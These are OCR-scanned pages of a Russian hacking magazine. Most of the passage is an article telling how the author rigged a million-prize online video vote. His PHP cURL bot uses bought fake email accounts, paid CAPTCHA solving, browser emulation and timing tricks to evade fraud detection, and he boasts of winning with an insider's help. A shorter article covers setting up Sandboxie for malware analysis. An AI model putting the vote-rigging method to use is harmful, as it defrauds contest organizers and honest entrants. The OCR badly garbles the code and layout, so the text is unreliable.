воз­

150

можных. Идем дальше. Сайт сразу устанавливает сессию, которая

форму, нажимаем «Зарегистрироваться» И топаем на мыло. Там

потом передается в каждом запросе через

нас ждет письмо со ссылкой на подтверждение регистрации. По­

что нам нужно сделать при работе с сайтом,

cookie. Поэтому первое, - это придумать, под

сле активации аккаунта нам следует авторизоваться, то есть зай­

какой браузер мы будем маскироваться IUsег-Аgепtl, и получить

ти на страницу авторизации и отправить логин и пароль. При этом

сессию, чтобы потом вставлять ее в каждый запрос.

мы получаем в кукисах вторую сессию, отвечающую за доступ

к аккаунту. Затем нужно перейти на страничку видеоролика, ко­

8 cURL

есть возможность манипулировать сооkiе-записями,

но я не люблю этот способ и сохраняю куки в глобальной перемен­

торый мы накручиваем, и нажать кнопочку « Голосовать ». Запрос

ной, которая доступна из всех функций. Для это го просто составля­

передается через

ем запрос с предустановленным юзер-агентом к главной странице

8

Ajax,

что немного ускоряет процесс накрутки .

принципе, это все. Но не забываем, что на кону целый миллион,

поэтому нам нужно учесть все детали и мелочи, чтобы на кру тку нельзя было заметить .

сайта, получаем куки, которые возвращает сервер, и сохраняем их в переменной для дальнейшего использования.

ЗАГР УЗ К А ВСЕЙ СТРАНИЦЫ Еще один момент, который может по казаться излишним,

-

это вы­

Еf'.1аЙll: ,,,. Гli:'J H11!-r '

полнение абсолютно всех запросов, которые выполняет браузер. 80З­

Парат) к е~1айлу:

никает соблазн отправить минимум запросов с данными. Но это было

ПаРОI1Ь к сайту:

(I, !t ' •• 11' 1111':\1. '11.,1,·1'111/'''1

ОТКРЫlие письма (17:37) ... Поиск идентификатора ПОl1ЬЗ0вателя

бы ошибкой. Почему? Потому, что на сайте может действовать такой

способ выявления на крутки, как, скажем, учет хитов по картинке.

(17 :38) ...

Идентификатор пользователя найден:

Поиск кода акrиваЦflИ

Это означает, что количество загрузок, например, картинки

',1 :

видеоролика должно приблизительно равняться количеству про­

(17:38) ...

Код активации найден:

(I,,·.Y()IIII)!

Акrивация регистрации

(17:38) ...

Загрузка страНfЩЫ успешной активации ПОПЫГКd аВТОРЮОВdП)СЯ

смотров этого видео. Количество посещений всегда должно превы­

шать [раза в два-четыреl количество голосов. Таким образом, мы будем не только накручивать голоса с помощью левых аккаунтов,

(1/:38) .. .

но и эмулировать « батов », просматривающих видео. Лично я взял

(17:39) ...

Авторизация ПрОШl1d успешно, загрузка главной страницы

(17:39) ...

Г!iРSЕSSID=Ьс8886аЬОа70fсd9с369dбеа8887776d; BIRTHDAY=9~7

1982;

IS 180LDER:-:-l;

соотношение

1 : 3,

чтобы на три просмотра приходился один голос.

Ноеслигрузитьтолькостраницупросмотравидеоlнакручивать количество npocMoTPOBI, то нужно также не забывать загружать и весь остальной контент, то есть картинки, Jаvа5сгiрt-файлы,

Открыгие страницы с видеО'файлом (17:40) .. :Посылка голоса (17:41) ...

таблицы стилей и всё-всё-всё, вплоть до иконки саЙта. А как

Голос послан, ответ систе~1Ы: )11)

иначе? Для

1)(lt)()[,!lf< IHII11rl :,!f({!!PU'II,J. fJ(]\Нlн,}f'~,lllШЛ (I!I)I'"I ..

посещений картинка видеоролика будет загружена всего

100

голосов нужно

1000 посещений,

а если при

1000 20 раз,

то

это вызовет явные подозрения.

Каким же образом можно эмулировать абсолютно всю загрузку? 8едь для этого необходимо парсить страницу, скрипты, таблицы Статус работы накрутчика

ХАКЕР

02/157/2012

стилей и все остальное. Нет, парсить мы ничего не будем, точнее,

031


СОУЕ RSTO RY

многопоточно !снова смотри диск). Эта функ ция принимает массив ссылок и массив шапок

[headers), которые впоследствии загружа­

ются многопоточно, что ускоряет процесс .

Также можно опционально выключить/включить загрузку самих файлов, оставив только за гр узку шапки, либо просто по сыла ть запросы, ничего не загружая. Последний п араметр функции позво­ ляет загрузить только определенный элемен т, если нам не нужны НТТР Headers

все остальные . Открою тебе небольшую тайну: зто приг одится при

Host: chat.freehost.com,ua User·Agent: МоziПа/5.0 (\,FondO'NS NТ 5. 1; rv:6.0.2) Ged<o/20IOOIOI Firemx/6.0.2

загрузке страницы регистрации, а именно при загрузке файла капчи .

Accept: "'1" AccepHanguage: en~s , enj q= O, S

ИЗВЛЕКАЕМ САРТСНА

Accept-Encoding: gzip, deflate

Accept<harset: ISO-SS S9-1 , u tf-8i Q=О. 7, xiQ=O. 7

Чтобы змулировать д ействия пользователя, для начала мы должны

Connection: keep...!live

зайти на главную страницу. Сделаем зто с п омощью следующего

Referer: http://parking.fi-eehost.com.ua/

кода:

Cache<onuol: max -аgе "' О НТТP/ I .I

f.UШ.tJQJ)....lQ~с!Iш;l~~О {

200 ОК

Server: nginx!1.0.2 Date : Sun,

0 4 Оес

20 11 19:25:48

... $.H~:I;...;:, .Rqr~.gВ,ечu.е.~.t.~.с.... _..........................._..................................._.. .. ......... fiJg_g~:I;JQn:t~.nt.s..С'. .Лшjе)<_l)1ар , .t кt .' ) , .. _..... _........... _.. .............$.фО.s~.[1_уs.егаg~!J.t, ... .. .......................... _... _

Content-Type; textjhb'nlj charset=utf-8 Coмection :

.. .. .... . . . . . . . . . ...............

. g 12R.91.. $c.!J2~~!]_lJ.s.er.i!g~!].t, ... icQ2/sJe_~.es.~;j,.Q!];.... _...............

GМТ

keep-alive

X -Ро'Л'егеd-Ву : PНP/5 .3. 6

Content-length: 3849 http ://fi-ееhost . сom. u./sCnр t/saipts.js

GEТ IsaiptjsCnpts.js НТТP / I .I Host: freehost,com.ua User·Agent: Мою]а/5 .0 (WondO'NS NТ 5.1; rv:6.0.2) Gecko/20 100 10 1 F. emx/6.0.2

.......... '(:QQlф~: ... '..,.. JшRl.Q!;i.ес. ; ....:.,....$~.QQJsi.е._~.g~. ~.iQJJ}};. ... i]j.п~~ . =... iJ.сс.а.у.о; ... $hе.i!Q~ ...=.. ис~у -<).; .................... _...... .... fQ г~iJ.сh... -< .$_Н~.t .. 9.:;... $J.~'n'/s...=2... $h.е.qg)С .......................... _.................. . .. .... _ ..ilJ[1.K~[] -.=. $JiJl!s; .._ .. _ .. _........ . ............_........... _...... _...... ........._ $iJ~~.c!.~. [J .. =._$.be.gc!.; ....... _.. _..... _.................... _. __ ._... _............._... _...........

_

..... }

_

_ _ _.. _

_

...... ......... .......................... ..... .......

_

_

_

........ ......... ......... ........... - .............. .

._..$Р.gg,~с!... =...~.1>1(Jи,r).!s~,... .$.h.е.g.Q.~J_ ..~.,....:),).; _..........._.~_

Accept: "!" Accept~anguage : еП "S, еп;q=Q . S

}

Accept-Encoding: gzip, deflC5te

_

_ __

_

....................................... ......... ...... .. .......................... ..... -

Accept..charset: IS0 -88 59 - 1 , utf-8j Q"' О. 7, X;q:O. 7

Как видно по вышеприведенной функции, файл

Connection : keep-alive

index_map.txt

как раз и представляет собой лог, созданный с п омощью аддо-

Referer: http ://рагЮng . fi-ееhоs t. соm . u.1 IfoМod fied ·5ince: ~Ied , 18 М . у 20 1111: 15:55 GМТ

на к

If-Nоn. оМаtch: - IОЗbd9 ·2f50 -'lddЗаабЬ '

Firefox

при загрузке всей страницы. Этот лог, кстати, также

следует немного обрабо тат ь вруч н ую, так как загружать, например,

Cache-Сon Ь'oI: ma x -аgе=Q

рекламу Гугла или файлы, размещаемые на других сай та х, н е име­

ет смысла. С главной страницы перейдем на страницу регистра­

< ' 5ave AlI...

I

ции. За некоторыми отличиями функция для захода на страни ц у

Replay...

регистрации будет похожа на предыдущую . Нам нужно п одготови т ь еще один лог-файл с помощью

Логи НТТР-снифера

LiveHTTPHeaders

и поправить его,

а также заменить строку

будем , но не страницу. Все можно сделать проще. Достаточно лишь воспользоваться плагином

LiveHTTPHeaders в браузере Mozilla Firefox [или же сервисом Орега Dгаgопflу из могучей Оперы)

на

и открыть с его помощью страницу, загрузку которой мы хотим

=... cI1C$li n~s,....$.h.~ ар:; ' ....1 ,...), ,_..' .С <J.Rt.ch а .,.(:1h.(:1'.).; ................_. =...

змулировать . На выходе мы получим длинный лог всех обращений

$pqg~!;i..

ко всем файлам, которые загрузил браузер. Сохраним этот лог

H~.tJ $!;_ycl.,... $sJc!.) ... e.)< R),.Qc!.e.-< .:.с;<Jр.t.с;Ь.g_~1с!=. :.J ... $1iп/s.~. [ J;I,I)~. С.еtугl)....<lгг.яу.{ ._ .................._......... _............._........... ........... _ ... _.......... ...:..~J.Q. '....=..~_. $~ i.c!J_......_.................................

в файле и напишем дв е функции. Первая будет парсить з т от лог-файл и возвращать нам массив из значений, гд е адресом за гр ужаемо г о файла служит ключ,

... _....... :JmiJge :. . =. ~.. Rj"-~.es;~_ ел~Q!;i.~.с$р.аg~с!J:J,J J.). ..... _..

а значением

.......

-

хидер текущей загрузки, причем с предустановлен­

ными куки !сессией) и браузером, так как куки и браузер должны меняться при каж д ом голосова н ии [ п оскольку объем журнала крайне ограни ч ен, советую прямо сейчас найти на наш ем диске

соответствующую функцию и изучи ть ее). После сохранения лога в файле и вызова вышеупомянутой функции в виде

$JJ~.t ...

=...R~гя~в.~gч~.~:I;.~с..._..._.........................._._...................._

....fi1~_g~:I;_~Q[1:1;.~Dt.~.(

' .,. L.:i,J),(j~)Cm~R,.txt:). . .. __

..._......

...$cbQ.~.gJ:u.[~.e.r;;!.g,eJ!:t., ... _...__ ...... ..... $C;Q2/s.i.g).; ........................................ _ .......

).;.

.. ....... _.........

..._....

_

__ _

_ _.

......... .. ...... ..................... ...

В да нном с л учае будет змулирова т ься загрузка всех злемен­

тов, а картинка капчи даже вп олне ус п еш но вернется . $links[11] и $paged[11 ] - зто ссылка и значение за про са для 12-го элемен­ та загрузки, а именно капчи, соо тв е тственно [рассчитывается на основе порядка следования файлов в логе снифера). Из ссылки выдирается

sid,

к которому при вязано значение текста с капчи.

Далее нужно разгадать капчу . В этом нам поможет известный сервис

antigate.com,

который

за символическую плату [$1 за 1000 изображений) предлагает решить капчи вручную с помощью армии китай ц ев. В моем случае

мы получим массив из всех запросов, которые выполнил брау ­ зер при загрузке страницы.

Вторая функция называется curIMulti[) и отвечает за выполне­

АРI-функция распознавания, пр е д ставленная на официаль н ом сайте , немного модифицирована. В не й я указал только п уть к со­ храненному файлу кап~и и ключ доступа:

ние з т их за пр осов . З д есь мы как раз вполне можем использовать многопоточность, поскольку браузер умеет загружать файлы

032

ХАКЕР

02/157/2 01 2


Как накрутить миллион

$lщаl ._': .ПJg.S.($.~.'Ч;Jt ~ Ьаl .:J!!19.g~.:J); ................................ . $wri,te_c ...=' ...fOR~r)( : . / c.apt~bi!~j.: .. $local. '....jRg ~~ ...:.W .P:) ; ............ fpyts($wr:::lt~_!;~. Ьаsеб~_с!е~р.dе($сарtсhаI.~j..ПJаgе.: ] »); ................. fс;.10sе($.\"!гi1:~_сJ; . _...__ ............. ............_................. $.~ r::~S.I.J1.t...

Please

confiгm

ОтlCого

=...

rJ~.!;.ogn.i.z.e ( ~ ../.~.i!P1:cbas l.~ .•.$1..9(<lJ.,......... . '. jpg .:',._.~.eJ4.Q !;'18~.8.b.<I сJ,fL!~еЗ:НК5 77J~.gше ~ )~ ... .

your

FUND account info

~

Кому:

SФi".i!luСrambler

Дата

Fri, 28 Od 2011 15:17:51 +0000

ru

You аге \уе1 с оте 10

Fund sho" movie contest!

Before you begln to create tI1e besl movfe еуег, YOU а ге to continn your account In10.

Те перь у нас есть ответ капчи в переменной $cresult. tl?popup=confirm_reglstratlOn&confitm_user_id=4791

step оп е : follow the Ilnk nnpll.

П РО БЛЕ МА С П О ЧТОЙ

Step t\vo: Input thls code 3nJCuDyg

Далее мы сталкиваемся с необходимостью как-то зарегистриро­ вать почту, чтобы позже использовать ее для активации аккаунта .

Ве

Само собой, мыло каждый раз должно быть разное . Проблему можно решить тремя способами :

1.

Зарегистрировать аккаунты на бесплатных почтовых сервера х ,

Jucky anCl lnsplreCl !

Письмо для подтверждения регистрации в конкурсе

например Яндексе или Рамблере . Конечно, если нужно большое

2.

к о личество мейлов , то придется использовать крутой автореггер

ки через расширение РНР

или купить кем -то зар е гистрированны е [опять же с помощью

сер висов осуществляется по-разному, поэтому нужно заранее

IMAP. Да, доступ к серверам почтовы х

автор е ггера)аккаунты.

узнать, какой из них нам подойдет, и лишь только потом закупать­

Ку питьдомен, сх о ж ий по назв а нию с и з ве с тными почтовиками,

ся аккаунтами. Лично мне подходит аккуант на Рамблере, так ка к

и настроить с к рипт, собирающи й в один ящик почту, отправляе ­

никаки х проблем с проверкой почты я там никогда не испытывал .

м у ю на все адреса. Таким образом , почта, отправленная на

Далее пишем вот такую вот функцию для пол у чения тела послед­

1230

домен.ру и 2340домен.ру, попадет в один ящик, а значит, можно

него письма:

смело генерировать тысячи адресов . Здесь снова н у жны деньги

пользует бесплатный сервис mаiliпаtог.пеtдля про верк и любого

f.UЛ.~1:i.ОП .. getMe.s~.i!g~C$.J,9gi,n, .. $pa.~SWQrc;l) { ... _$.Jmap = tl1J<ip_oP.enC .... ....:Jmail . rаmРJ,gС..ГJ.J.; ll(:Jj р.орЗ LЛQНsJJNfjОХ· , .. ... _.. $],Qgin,

адреса , уже зарегистрированного в с истеме . Нам нужно просто

... _.. $p.assword);................ _... _... .

и з нания .

З.

С а мый прост о й и бесплатный спо с о б - и с пользовать скрипт, который люб е зно подготовлен автором э той статьи . Скрипт ис­

указатьпроизвольныйадреснадоменахэтогосервиса, а потом

з айти [без авторизации!) в соответствующий аккаунт через веб­ и нтерфейс и проверить почту. Всегодоступно

11

н

домен о в. Скрипт

с п о дробными комментариями по и с поль з ованиюждеттебя н а ди ск е .

($J!1li!P ).{. $.!:1ody

=.. il1J.<l.р_щ;>rtr)t(

imар_Iщgу(.$;iшар,

_... (imаJUllJПJ_[Пsg($imаlJ). .. =_.l

»); .

. J ... .....еl.~.~ {rеtlJгл .._fflJ~.~;J ....

Какой же из способов мы применим? К сожалению , нам при ­ дется потратиться на первый вариант, так как важность момента требу ет жертв . Мы не б удем писать автореггер , а просто найдем

rеtur.n $ЬщJу; .........

}

на любом из х акер с ки х форумов продавца аккаунтов , у к отор о го мо ж но купить адреса электронной почты , под х одящие для провер-

Эта функция возвращает текст последнего письма , пришедш е го

Пример онлайн-конкурса

ХАКЕР

02/157/2 01 2

033


COVERSTORY в ящик . Подготовим все необходимые данные, а именно само мыло, имя, фамилию и пароль , для соответствующих переменных . Где взять адреса для активации аккаунтов, я рассказал выше, а мно­

жество имен и фамилий легко найти винтернете. Пароль можно генерировать вот так:

РЕГИСТРАЦИЯ Теперь все готово, и мы можем написать саму функцию регистрации,

в чем нам снова поможет плагин

LiveHTTPHeaders. В

данном случае

у нас имеются POST-АаННbIе, отправленные в виде multipart/form-

data . Достаточно

просто подставить в лог со снифера свои значения

и послать их в РОSТ-запросе курла

ICURLOPT_POST, CURLOPT_

POSTFIELDS). Не забываем также о меняющемся значении заголовка

Content-

Туре и о ТОМ, что при запросе через multipart/form-data нужно генери­ ровать Ьоuпdагiеs. Отправляемые пакеты целесообразно сохранить где-нибудь, например в базе

MySQL, для

использования в дальней­

шем. Сохранить необходимо логин и пароль от почты, пароль от акка­

Основной код накрутчика

унта на сайте, юзер-агент, куки. Почему именно в дальнейшем? Потому, что сначала следует подождать, пока к нам на мейл придет активационное письмо. Но не стоит тратить время впустую,

проще и сделал так , чтобы после прохода скрипта Iбез циклов, один голос за один запуск скрипта) в браузер выкидывался код

лучше заняться регистрацией аккаунтов, чтобы их было как можно

JavaScript,

больше. Таким образом, разумно разделить весь процесс на реги­

томатизацией тебе точно так же поможет и сгоп на каком-нибудь

обнавляющий страницу через одну-две минуты. С ав­

страцию аккаунтов и накрутку и выполнять их, например , ночью

платном хостинге.

и днем соответственно.

Через некоторое время мы открываем сохраненные данные и ищем там логин и пароль от почты. Далее проверяем, нет ли

ПОЛУЧИЛОСЬ ИЛИ НЕТ? Что мы получили в результате? Видеоролик постепенно набирал голоса посетителей и «лайки » . Все шло гладко, посетителей при­

в ящике письма :

бавлялось в три раза больше, чем лай ков . Ночью голосование я отключал, так как иначе все это было бы подозрительно . Накрутив пару тысяч голосов, мой заказчик все-таки выиграл тот самый

Если письмо пришло, то выдираем ссылку активации простой регуляркоЙ. Тут никаких особых проблем возникнуть не должно­

просто формируем запрос на подтверждение регистрации lобяза­ тельно вставляем

referer

и добавляем куки и

user-agent,

выбранные

ранее). Опять же, не забываем про загрузку всех элементов: создаем

миллион, ну и я тоже получил небольшой пряник. Без награды не остались и еще одни участники этой истории

-

инсайдеры.

Да, ради миллиона в компанию, проводившую зто голосование, был заслан «Штирлиц», который информировал заказчика о неко­ торых важных деталях. Как оказалось, кроме меня, были и другие

лог-файл со всеми запросами, парсим его и повторяем действия

накрутчики, причем таких претендентов специально не снимали

браузера.

с конкурса и не обнуляли их голоса

После получения всех данных и подтверждения регистрации

нам остается только авторизоваться. Снова делаем запрос, эмули­

руя браузер и сохраняем полученные куки в глобальной перемен ной . Таким же образом переходим на страницу видеоролика,

который надо накрутить, и смотрим, куда

Ajax

отправляет запрос

после нажатия на кнопку голосования. Последний шаг зтого запроса через

cURL.

-

отправка

Все запросы желательно делать с трех­

-

инсайдер доложил, что

ИХ выкинут в самом конце. Насчет нас, конечно же, из начально

не возникло никаких подозрений

:1-

Занимаясь накруткой, всегда смотри на этот процесс глазами администратора. Следует обратить внимание на всё, к чему можно прикопаться: время, заголовки, сессии, куки, IP-аАрес, мыло, скорость. Эти слова сразу же наводят на мысль, что учет всех ме­

лочей очень замедляет процесс. Но сроки в данном случае как раз не поджимают. Советую тебе внимательно изучить все прилагаю­

пяти секундной паузой. Как же автоматизировать процесс накрутки? Можно, конечно,

использовать ЦИКЛbl, sleeplJ и прочее непотребство, но я поступил

щиеся к статье скрипты, чтобы получить полное представление о том, как работает разработанный накрутчик.::Х:

ЧТО МОЖНО НАКРУЧИВАТЬ? Партнерки

Попупярные социапьные сер висы

Гопосования с приэами

Накрутка партнерок по трафику

Вконтакте,

В статье как раз идет речь о таком

пользуется очень большим спро-

чие знаменитые сайты часто исполь-

Facebook, YouTube

и про­

голосовании. Многие сайты с радо-

сом,ноздесьдалеконевсётакпрост~как

эуют разные голосования, «лайки» И другие

стью про водят всевозможные голосования,

кажется. Во-первых, придется проанализиро­

средства для увеличения популярности

которые, как правило, не составляет труда

вать множество

разных объектов. Здесь также придется воз­

накрутить. Но даже в самом простом случае

в страницу, во-вторых, ты, скорее всего, стол­

иться с JаvаSсгiрt'ами и анализировать при­

предварительно необходимо провести раз­

кнешься с проблемой привязки некоторых

вязки к браузерам, а вдобавок разбираться

ведку, чтобы учесть все параметры, которые

посылаемых данных к пара метрам браузера,

с авторизацией, капчей и другими методами

могут использоваться для оценки уникально­

которые не так-то просто подделать.

защиты от ботов.

сти каждого голоса.

JavaScript'oB,

встраиваемых

ХАКЕР

02 /1 57/ 2012


Preview

зо страниц журнала на одной полосе.

Тизер некоторых статей.

PCZONE ANDROIDHAPC ,О

Раньше мы стремилисьзапуститьна смартфо не приложения, которые на са­ мом деле предназначены для десктопных

ос. Вспомни, хотя бы aircrack или какую­ нибудьбанальнуюутилитудляудален­

ного рабочего стола. Теперь же наоборот

-все чаще хочется прямо в Windows пощупатые приложения, которые из­

начальнопоявляютсядлямобильных платформ. Эмуляторы отразработчиков настолько тормо з ные, что использовать

ихвесьмапроблематично.Какзапустить на десктопе Апdгоid-сис тем у и, скажем,

игры, которые не будутто рмозить? Или наладить камфорную отладку при раз­

работке мобильных приложений? Читай в этой статье.

ВЗЛОМ

PCZONE

36

ИГРЫ В ПЕСОЧНИЦЕ

ГДЕ ХРАНИТЬ КОД?

Полный мануал по том у, как настроить

Разбираем ся, где хостить репозитории

ТОТАЛЬНЫЙДЕСТРОЙ MONGODB Отсутствие SQLB н ереля ционны х СУБД

sапdЬохнетолькодлябезопасногоза­

с кодом своих разработо к. Что лучше:

не означает отсутствие возможности

п уска подозрительных приложений, но и

GitHub, BitBucket, AssembIa или может быть старый добрый SourceForge?

о безопасности баз данных NoSQL.

для подробного анализа бинарников.

СЦЕНА

выполнить инъекции . Разоблачаем миф

MALWARE

www.zeronights.ru

• ХАКЕР

ZERONIGHTS 2011 Де ся т киубойных докладов и конкурсов, невероятная хаке рская атмосфера, Оdау-шоу-так прошла конференция по информационной безопасности вПитере.

02/157/2012

БУРИМ АНТИВИРУС. ЕЩЕ ГЛУБЖЕ! Как устроена проактивная за щита и мо­ ниторинг собы тийвпопулярны х антиви­ русных решениях? Объясняем устройство

HIPS на пальцах.

ИСТОРИЯ РУТКИТОВ

Ты уже, наверное , и не вспомнишь по

• стелс-вирусы в MS-DOS-a мы

пом­

ним. Выбираем наиболее наш уме вшие руткиты за последние

26 лет.

035


PCZONE

Gray Jack the Fixxxer

ИГРЬI в ПЕСОЧНИ . . . . . Е ПРИСПОСАБЛИВАЕМ SANDBOXIE .qЛЯ АНАЛИЗА ПОДОЗРИТЕЛЬНЫХ ФАИЛОВ Есть два основ н ых способа безопасно запустить подозрительный исполняемый

Неправильное использование

файл: под виртуальной машиной или

описанной методики

в так называемой «песочнице» (sandboxl.

системе и привести

может нанести вред

к заражению! Будь внимателен

Причем последнюю можно с помощью

м осторожен .

изящного способа адаптировать для

оперативного анализа файла, не прибегая к специализированным утилитам и онлайн­ сервисам и не используя множество ресурсов,

как в случае с виртуалкой . О нем я и хочу тебе рассказать .

« ПЕСОЧНИЦА » ДЛЯ АНАЛИЗА

зловреда, которые он выполняет после за­

Необ хо димо ждать очере д и в процессе об­

работки [в бес пл атных версияхl.

Люди , которые занимаются компьюте рно й

пуска. Еще бы, ведь если ест ь с л епок систем ы

безопасностью, хоро ш о з нак омы с кон ц е пци ей

до начала активных д ейс тви й и ка ртина то го,

« п есоч ницы ». Если вкратц е, « пе соч ница »­

что произошл о в « пе со чниц е», можно л е гк о

ме н яемые в ходе выполнения, н е предостав­

э та тестовая сре да , в которой вып ол ня ется

отследить вс е изменения.

ляются.

н екая пр ограмма. При этом ра бота налажена

Конечно , в Сети есть масса готовых о нлайн­

таким образом, что все действия программы

сервисов, ко торы е предлагают анализ файлов:

отслеживаются, все изменяемые файлы и на­

запускать любые файлы в полной уверен­

Anubis [anubis .iseclab.orgl, CAMAS [c amas. со mod о . со m/cg i - Ь i n/su Ьт itl, Th reatEx pert [www.th reatexpert.coml, ThreatТrack [www. threattrack .com l. П одобные сервисы использу­

ности, что на работоспособность системы это

ют разные под хо ды и имеют свои достоинства

стройки сохраняю тся, н о в реальной системе

ничего не происходит. В общем, можешь

никак не повлияет. Такие инструменты можно

и недостатки , но можно выделить и общие

использовать не только для обес п ечения

ос новны е минусы:

безопасности, но и для анализа тех действий

036

Не обхо д имо иметь д оступ к интернету.

Как пр а вил о, файлы, создаваемые или из­

Невозможно контролировать пара метры

выполнения [в бесплатных версия х l .

Невозможно вмешиваться в процесс запуска

[например, нажимать на кнопки появляю­ щи хся OKOHI.

Какправил~невозможнопредоставлять специфические библиотеки, необходимые

для за п уска [в бесплат ны х версия хl .

Какправил~анализируютсятолькоиспол­ няемые РЕ -файлы .

ХАКЕР

02/157/2012


Игры в «песочнице»

Такие сервисы чаще всего строятся

Имя nporрамны

на основе виртуальных машин с установлен­ ным инструментарием, вплоть до отладчиков

в ~ Песочница BSA

ядра. Их можно организовать и дома. Однако зти системы достаточно требовательны к ре­ сур с ам и занимают большой объем на жестком дис к е, а анализ логов отладчика отнимает

много времени. Это значит, что они весьма эффективны при глубоком исследовании

Заголовок окна

PID Активно

О SandboxieRpcSs.exe

10792

О SandboxieDcomlaunch.exe

12060

О dplaysvr .ехе

11544

\> Песочница Secure

определенных образцов, но вряд ЛИ смогут

оказаться полезными в рутинной работе, когда

\> Песочница Unpack

нет возможности нагружать ресурсы системы

и тратить время на анализ. Использование «песочницы» для анализа позволяет обойтись без огромных затрат ресурсов.

Песочницы

ПАРА ПРЕДУПРЕЖДЕНИЙ

Sandboxie

не защититтебя от потери конфиденци­

зада.чам . Практически всегда необходимо

Сегодня мы попробуем сделать свой соб­

альной информации! Это очень важно, и об

ограничивать доступ низкого уровня и ис­

ственный анализатор на основе «песочницы»,

этом следует помнить

а именно утилиты SапdЬохiе. Эта программа доступна как условно-бесплатная на сайте

..

пользование аппаратных средств для всех

выполняемых программ, чтобы не допу­

ПЕРВИЧНАЯ НАСТРОЙКА SANDBOXIE

стить заражения системы руткитами. А вот

автора I www . sапdЬохiе . соm ). Для нашего ис­

SапdЬохiе

следования вполне подойдет ограниченная

шим количеством настроек. Упомяну лишь те

нение, а также забирать права, наоборот,

бесплатная версия . Программа запускает

из них, которые необходимы для наших эадач .

не стоит, иначе подозрительный код будет

-

великолепный инструмент с боль­

После установки

приложения в изолированной среде, так что

Sandboxie

автоматически

они не производят вредоносных изменений

создается одна «песочница». Ты можешь до­

в реальной системе . Но тут есть два нюанса:

бавить еще несколько « песочниц» под раэные

ограничивать доступ на запуск и выпол­

выполняться в нестандартной среде. Впро­ чем, всё, в том числе и наличие доступа к интернету, зависит от задачи.

Для наглядности и удобства в разделе

Sandboxie позволяет отслеживать только программы на уровне user mode. Вся дея­

задачи. Доступ к настройкам «песочницы» осуществляется через контекстное меню.

«Поведение » рекомендуется включить

тельность вредоносного кода в режиме ядра

Как правило, все параметры, которые можно

опцию «Отображать границу вокруг окна »

не отслеживается. Поэтому максимум, что

изменять, снабжены достаточно подробным

и выбрать цвет для выделения программ,

удастся узнать при изучении руткитов-это

описанием на русском языке. Для нас особенно

выполняемых в ограниченной среде.

каким образом вредонос внедряется в си­

важны параметры, перечисленные в разделах

стему.Проанализироватьсамоповедение

«Восстановление », « Удаление » и « Ограниче­

на уровне kегпеl

ния » . Итак:

mode, к сожалению,

невоз­

1,

можно.

В зависимости от настроек

Sandboxie

может блокировать выход в Сеть, разре­

2.

шать полный доступ ил и доступ только для

отдельных программ. Понятно, что, если

4.

ПОДКЛЮЧАЕМ ПЛАГИНЫ В несколько кликов мы получили отличную

Необходимо убедиться, что в разделе «Вос­

изолированную среду для безопасного вы­

становление » ничего не указано.

полнения кода, но не инструмент для анализа

В разделе «Удаление» тоже не должно быть

его поведения. К счастью, автор

никаких отмеченных галок и/или добавлен­

предусмотрел возможность использования

ных папок и программ .

целого ряда плагинов для своей программы.

Sandboxie

для нормального запуска вредоносу нужен

Если неправильно выставить параметры в раз­

Концепция довольно интересна. Аддоны пред­

выход в интернет, необходимо его предо­

делах, указанных в пунктах

ставляют собой динамические библиотеки,

1 и 2,

это может

с тавить. С другой стороны, если утебя

привести к тому, что вредоносный код заразит

внедряемые в выполняемый в «песочнице»

на флешке валяется

систему или все данные для анализа будут

процесс и определенным образом регистриру­

п у скается, собирает все пароли в системе

уничтожены.

ющие или модифицирующие его выполнение .

и отправляет их на ftрзлоумышленнику, то

з.

Pinch,

который за­

SапdЬохiе с открытым доступом винтернет

==с-----------.;,!]

L.tot..-............

1,--------------:13

В разделе «Ограничения» необходимо вы­ брать настройки, соответствующие твоим

Нам понадобится несколько плагинов, которые перечислены ниже.

ЧТО УМЕЕТ И НЕ УМЕЕТ ИНСТРУМЕНТ

о

/

.

це » вспомогательных про грамм Iнапример ,

Полученный инструмент умеет:

Process Monitor) вместе с анализируемой .

ОтслеживатьАРI-вызовы запущенного при­ ложен ия.

Этот инструмент не может:

Отслеживать новые создаваемые файлы

в

Перехватывать сетевой трафик при выполне­

ра). Тем не менее возможно выявить механизм

нии приложения.

установки драйвера [до его фактического

дения Iвстроенный поведенческий анали­ затор, анализ на

с помощью

ХАКЕР

Busler Sandbox Analyzer

02 / 157/ 201 2

VirusTotal по хешам, анализ PEiD, Exelnfo и ssdeep и т. д.) .

kernel mode [требующие установки драйве­

внедрения в систему).

Проводить базовый анализ файлов и их пове ­

Работает

Анали з ироватьзловреды, выполняющиеся

и параметры реестра.

Анализировать зловреды, отслеживающие

выполнение в Sandboxie. Однако Buster Sandbox Analyzer включает в себя ряд меха­

Получать некоторую дополнительную

низмов, препятствующих такому отслежива­

информацию за счет выполнения в « песочни-

нию.

037


PCZONE П ути, конечно, могут отлича ться . Но порядок

1. Buster Sandbox Analyzer Ibsa.isoftware.nl l. 2. SBIExtra Ibit.ly/rDhDba l. Этот плагин осу­

инжектируемых библиотек обязательно должен

ществляет перехват ряда функций для вы­

...

полняемой в песочнице программы, чтобы А_

блокировать следующие возможности:

--.з

...

0 _

..........

обзор исполняемы х процессов и потоков;

доступ к процессам вне пределов « пе­

-=-..."'="" ..,"'.......w.='

сочницы»;

)",,,J/,....... r:::ii:i::::J:::-

0:--........

вызов функции Blocklnput Iвводс кла­

-

~.,...._.

.........,...

J

быть именно таким! Это требование связано с тем, что перехват функций должен осущест­ вляться именно в указанном порядке, иначе

плагины работать не будут. Чтобы применить

изменения, выбираем в главном окне

__

Теперь

-~. =:..--

• считывание заголовков активных окон. 3. Antidell bit.ly/upYAfYI. Аддон пере х ватывает

Analyzer. • Запускаем

го кода, все равно остаются на своих местах.

это не предусмотрено средствами интерфейса

Sandboxie,

редактировать файл конфигурации

bsa.exe из папки Plugins. «Options -7 Analysis mode-7 Manual» и далее «Options -7 Program Options -7 Windows Shell lntegration -7 Add right-click action "Run BSA"». Выбираем

Скачиваем образец малвари ДЛА анализа

настройками программы. Сразу обращаем

Теперь всё го,ово для работы: наша « песочни­

внимание на следующие строки :

Параметр

FileRootPath в разделе [GlobaISettings] указывает общий путь

придется вручную. В папке, куда мы установили

к папке и зо лированной среды, то есть

Sandboxie, создаем папку Plugins и распаковы­

к папке, где будут находиться все файлы

ваем в нее все подготовленные плагины. Те п ерь

« пе сочницы». У меня этот пара метр имеет

внимание : в состав

вид Fil eRootPath=C:\Sandbox\%SANDBOX%. Раздел [UserSettings_XXXXXXX] нас не инте- •

Buster Sandbox Analyzer

входит несколько библиотек с общим именем

LOG_API*.dll,

которые могут инжектироваться

в процесс . Есть два типа библиотек: и

Standard.

Verbose

